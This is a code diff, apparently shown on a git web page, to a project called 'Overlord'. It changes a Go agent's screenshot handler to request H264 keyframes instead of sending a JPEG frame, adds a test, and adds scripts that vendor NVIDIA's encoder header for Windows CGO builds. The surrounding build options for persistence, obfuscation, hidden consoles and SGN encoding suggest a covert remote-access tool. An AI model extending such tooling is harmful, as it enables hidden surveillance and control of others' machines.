|
||||
cacheDesc.MiscFlags = 0
|
||||
var tex *d3d11Texture2D
|
||||
hr := s.device.CreateTexture2D(&cacheDesc, nil, &tex)
|
||||
if hr != S_OK || tex == nil {
|
||||
return fmt.Errorf("CreateTexture2D h264 cache failed 0x%x", hr)
|
||||
}
|
||||
s.h264LastTex = tex
|
||||
s.h264LastDesc = cacheDesc
|
||||
}
|
||||
s.context.CopyResource(s.h264LastTex, src)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *duplicationState) composeFrame(base *image.RGBA, nativeW, nativeH int) *image.RGBA {
|
||||
if base == nil {
|
||||
return nil
|
||||
|
||||
@@ -46,7 +46,7 @@ func HandleScreenshot(ctx context.Context, env *rt.Env, cmdID string, allDisplay
|
||||
}
|
||||
}()
|
||||
|
||||
img, displayIndex, bounds, err := captureScreenshotImage(allDisplays)
|
||||
img, _, bounds, err := captureScreenshotImage(allDisplays)
|
||||
if err != nil {
|
||||
log.Printf("screenshot: capture failed: %v", err)
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
@@ -86,20 +86,7 @@ func HandleScreenshot(ctx context.Context, env *rt.Env, cmdID string, allDisplay
|
||||
return err
|
||||
}
|
||||
|
||||
frame := wire.Frame{
|
||||
Type: "frame",
|
||||
Header: wire.FrameHeader{
|
||||
Monitor: displayIndex,
|
||||
FPS: 0,
|
||||
Format: "jpeg",
|
||||
},
|
||||
Data: jpegData,
|
||||
}
|
||||
|
||||
if err := wire.WriteMsg(ctx, env.Conn, frame); err != nil {
|
||||
log.Printf("screenshot: failed to send frame: %v", err)
|
||||
return err
|
||||
}
|
||||
capture.RequestDesktopH264Keyframe()
|
||||
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
|
||||
@@ -3,9 +3,15 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"context"
|
||||
"image"
|
||||
"image/color"
|
||||
"testing"
|
||||
|
||||
rt "overlord-client/cmd/agent/runtime"
|
||||
"overlord-client/cmd/agent/wire"
|
||||
|
||||
"github.com/vmihailenco/msgpack/v5"
|
||||
)
|
||||
|
||||
func TestCaptureScreenshotImageWindows_PrimaryOnly(t *testing.T) {
|
||||
@@ -105,3 +111,44 @@ func TestCaptureScreenshotImageWindows_NoDisplays(t *testing.T) {
|
||||
t.Fatal("expected nil image on error")
|
||||
}
|
||||
}
|
||||
|
||||
func TestHandleScreenshot_DoesNotEmitLiveFrame(t *testing.T) {
|
||||
origMonitorCountFn := monitorCountFn
|
||||
origCaptureFn := captureDisplayRGBABitBltFn
|
||||
t.Cleanup(func() {
|
||||
monitorCountFn = origMonitorCountFn
|
||||
captureDisplayRGBABitBltFn = origCaptureFn
|
||||
})
|
||||
|
||||
monitorCountFn = func() int { return 1 }
|
||||
captureDisplayRGBABitBltFn = func(display int) (*image.RGBA, error) {
|
||||
img := image.NewRGBA(image.Rect(0, 0, 2, 2))
|
||||
img.SetRGBA(0, 0, color.RGBA{B: 255, A: 255})
|
||||
return img, nil
|
||||
}
|
||||
|
||||
ctx := context.Background()
|
||||
writer := &testWriter{}
|
||||
if err := HandleScreenshot(ctx, &rt.Env{Conn: writer}, "cmd-1", false); err != nil {
|
||||
t.Fatalf("HandleScreenshot failed: %v", err)
|
||||
}
|
||||
if len(writer.msgs) != 2 {
|
||||
t.Fatalf("expected 2 messages without live frame emission, got %d", len(writer.msgs))
|
||||
}
|
||||
|
||||
var first wire.ScreenshotResult
|
||||
if err := msgpack.Unmarshal(writer.msgs[0], &first); err != nil {
|
||||
t.Fatalf("unmarshal screenshot_result: %v", err)
|
||||
}
|
||||
if first.Type != "screenshot_result" {
|
||||
t.Fatalf("expected screenshot_result, got %q", first.Type)
|
||||
}
|
||||
|
||||
var second wire.CommandResult
|
||||
if err := msgpack.Unmarshal(writer.msgs[1], &second); err != nil {
|
||||
t.Fatalf("unmarshal command_result: %v", err)
|
||||
}
|
||||
if second.Type != "command_result" || !second.OK {
|
||||
t.Fatalf("expected successful command_result, got %+v", second)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -393,6 +393,28 @@ function detectAgentVersion(clientDir: string): string {
|
||||
}
|
||||
}
|
||||
|
||||
function nvcodecHeaderPath(clientDir: string): string {
|
||||
return path.join(clientDir, "third_party", "nvcodec", "nvEncodeAPI.h");
|
||||
}
|
||||
|
||||
function ensureNVCodecHeaderForWindowsCgo(
|
||||
clientDir: string,
|
||||
sendToStream: (data: any) => void,
|
||||
): void {
|
||||
const headerPath = nvcodecHeaderPath(clientDir);
|
||||
if (fs.existsSync(headerPath)) {
|
||||
sendToStream({
|
||||
type: "output",
|
||||
text: `Native NVENC header: ${headerPath}\n`,
|
||||
level: "info",
|
||||
});
|
||||
return;
|
||||
}
|
||||
throw new Error(
|
||||
"Native NVENC streaming requires Overlord-Client/third_party/nvcodec/nvEncodeAPI.h for Windows CGO builds. Restore the vendored header or run scripts/vendor-nvcodec-headers from the repo root.",
|
||||
);
|
||||
}
|
||||
|
||||
function writeSgnTextArtifact(
|
||||
sgnPath: string,
|
||||
txtPath: string,
|
||||
@@ -1032,6 +1054,10 @@ func runBoundFiles() {
|
||||
}
|
||||
}
|
||||
|
||||
if (effectiveOs === "windows" && env.CGO_ENABLED === "1") {
|
||||
ensureNVCodecHeaderForWindowsCgo(clientDir, sendToStream);
|
||||
}
|
||||
|
||||
let ldflags = config.stripDebug !== false ? "-s -w -buildid=" : "";
|
||||
|
||||
if (config.serverUrl) {
|
||||
|
||||
@@ -9,6 +9,7 @@ if not defined ENABLE_PERSISTENCE set ENABLE_PERSISTENCE=false
|
||||
if not defined OBFUSCATE set OBFUSCATE=false
|
||||
if not defined HIDE_CONSOLE set HIDE_CONSOLE=false
|
||||
if not defined NO_PRINTING set NO_PRINTING=false
|
||||
if not defined DISABLE_CGO set DISABLE_CGO=false
|
||||
|
||||
set "GARBLE_FLAGS="
|
||||
|
||||
@@ -83,7 +84,16 @@ pushd "%CLIENT_DIR%"
|
||||
echo == Building agent for windows amd64 ==
|
||||
set GOOS=windows
|
||||
set GOARCH=amd64
|
||||
set CGO_ENABLED=0
|
||||
if /I "%DISABLE_CGO%"=="true" (
|
||||
set CGO_ENABLED=0
|
||||
) else (
|
||||
set CGO_ENABLED=1
|
||||
if not exist "%CLIENT_DIR%\third_party\nvcodec\nvEncodeAPI.h" (
|
||||
echo Missing NVENC header: "%CLIENT_DIR%\third_party\nvcodec\nvEncodeAPI.h"
|
||||
echo Run scripts\vendor-nvcodec-headers.bat from the repo root or set DISABLE_CGO=true.
|
||||
goto :err
|
||||
)
|
||||
)
|
||||
%BUILD_CMD% %BUILD_TAGS% -ldflags="%LDFLAGS% %WIN_LDFLAGS%" -o "%OUT_DIR%\agent-windows-amd64.exe" ./cmd/agent
|
||||
if errorlevel 1 goto :err
|
||||
|
||||
|
||||
@@ -0,0 +1,50 @@
|
||||
@echo off
|
||||
setlocal
|
||||
|
||||
set "SCRIPT_DIR=%~dp0"
|
||||
for %%I in ("%SCRIPT_DIR%..") do set "ROOT_DIR=%%~fI"
|
||||
set "DEST_DIR=%ROOT_DIR%\Overlord-Client\third_party\nvcodec"
|
||||
set "DEST_HEADER=%DEST_DIR%\nvEncodeAPI.h"
|
||||
if "%NV_CODEC_HEADERS_REPO%"=="" set "NV_CODEC_HEADERS_REPO=https://github.com/FFmpeg/nv-codec-headers.git"
|
||||
if "%NV_CODEC_HEADERS_REF%"=="" set "NV_CODEC_HEADERS_REF=master"
|
||||
|
||||
set "FORCE=%FORCE_NV_CODEC_HEADERS%"
|
||||
if /I "%~1"=="--force" set "FORCE=1"
|
||||
|
||||
if exist "%DEST_HEADER%" if not "%FORCE%"=="1" (
|
||||
echo nvEncodeAPI.h already exists: "%DEST_HEADER%"
|
||||
echo Use --force or set FORCE_NV_CODEC_HEADERS=1 to refresh it.
|
||||
exit /b 0
|
||||
)
|
||||
|
||||
where git >nul 2>&1
|
||||
if errorlevel 1 (
|
||||
echo git is required to vendor nv-codec-headers
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
set "TMP_DIR=%DEST_DIR%\.nv-codec-headers.tmp"
|
||||
if exist "%TMP_DIR%" rd /s /q "%TMP_DIR%"
|
||||
if not exist "%DEST_DIR%" mkdir "%DEST_DIR%"
|
||||
|
||||
echo Cloning %NV_CODEC_HEADERS_REPO% (%NV_CODEC_HEADERS_REF%)...
|
||||
git clone --depth 1 --branch "%NV_CODEC_HEADERS_REF%" "%NV_CODEC_HEADERS_REPO%" "%TMP_DIR%"
|
||||
if errorlevel 1 goto :err
|
||||
|
||||
set "SRC_HEADER=%TMP_DIR%\include\ffnvcodec\nvEncodeAPI.h"
|
||||
if not exist "%SRC_HEADER%" (
|
||||
echo Expected header not found: "%SRC_HEADER%"
|
||||
goto :err
|
||||
)
|
||||
|
||||
copy /y "%SRC_HEADER%" "%DEST_HEADER%" >nul
|
||||
if errorlevel 1 goto :err
|
||||
rd /s /q "%TMP_DIR%"
|
||||
|
||||
echo Vendored "%DEST_HEADER%"
|
||||
exit /b 0
|
||||
|
||||
:err
|
||||
if exist "%TMP_DIR%" rd /s /q "%TMP_DIR%"
|
||||
echo Failed to vendor nv-codec-headers
|
||||
exit /b 1
|
||||
@@ -0,0 +1,44 @@
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
|
||||
ROOT_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)"
|
||||
DEST_DIR="${ROOT_DIR}/Overlord-Client/third_party/nvcodec"
|
||||
DEST_HEADER="${DEST_DIR}/nvEncodeAPI.h"
|
||||
REPO_URL="${NV_CODEC_HEADERS_REPO:-https://github.com/FFmpeg/nv-codec-headers.git}"
|
||||
REF="${NV_CODEC_HEADERS_REF:-master}"
|
||||
FORCE="${FORCE_NV_CODEC_HEADERS:-0}"
|
||||
|
||||
if [[ "${1:-}" == "--force" ]]; then
|
||||
FORCE=1
|
||||
fi
|
||||
|
||||
if [[ -s "${DEST_HEADER}" && "${FORCE}" != "1" ]]; then
|
||||
echo "nvEncodeAPI.h already exists: ${DEST_HEADER}"
|
||||
echo "Use --force or FORCE_NV_CODEC_HEADERS=1 to refresh it."
|
||||
exit 0
|
||||
fi
|
||||
|
||||
command -v git >/dev/null 2>&1 || {
|
||||
echo "git is required to vendor nv-codec-headers" >&2
|
||||
exit 1
|
||||
}
|
||||
|
||||
TMP_DIR="${DEST_DIR}/.nv-codec-headers.tmp"
|
||||
rm -rf "${TMP_DIR}"
|
||||
mkdir -p "${DEST_DIR}"
|
||||
|
||||
echo "Cloning ${REPO_URL} (${REF})..."
|
||||
git clone --depth 1 --branch "${REF}" "${REPO_URL}" "${TMP_DIR}"
|
||||
|
||||
SRC_HEADER="${TMP_DIR}/include/ffnvcodec/nvEncodeAPI.h"
|
||||
if [[ ! -s "${SRC_HEADER}" ]]; then
|
||||
echo "Expected header not found: ${SRC_HEADER}" >&2
|
||||
rm -rf "${TMP_DIR}"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
cp "${SRC_HEADER}" "${DEST_HEADER}"
|
||||
rm -rf "${TMP_DIR}"
|
||||
|
||||
echo "Vendored ${DEST_HEADER}"
|
||||
Reference in New Issue
Block a user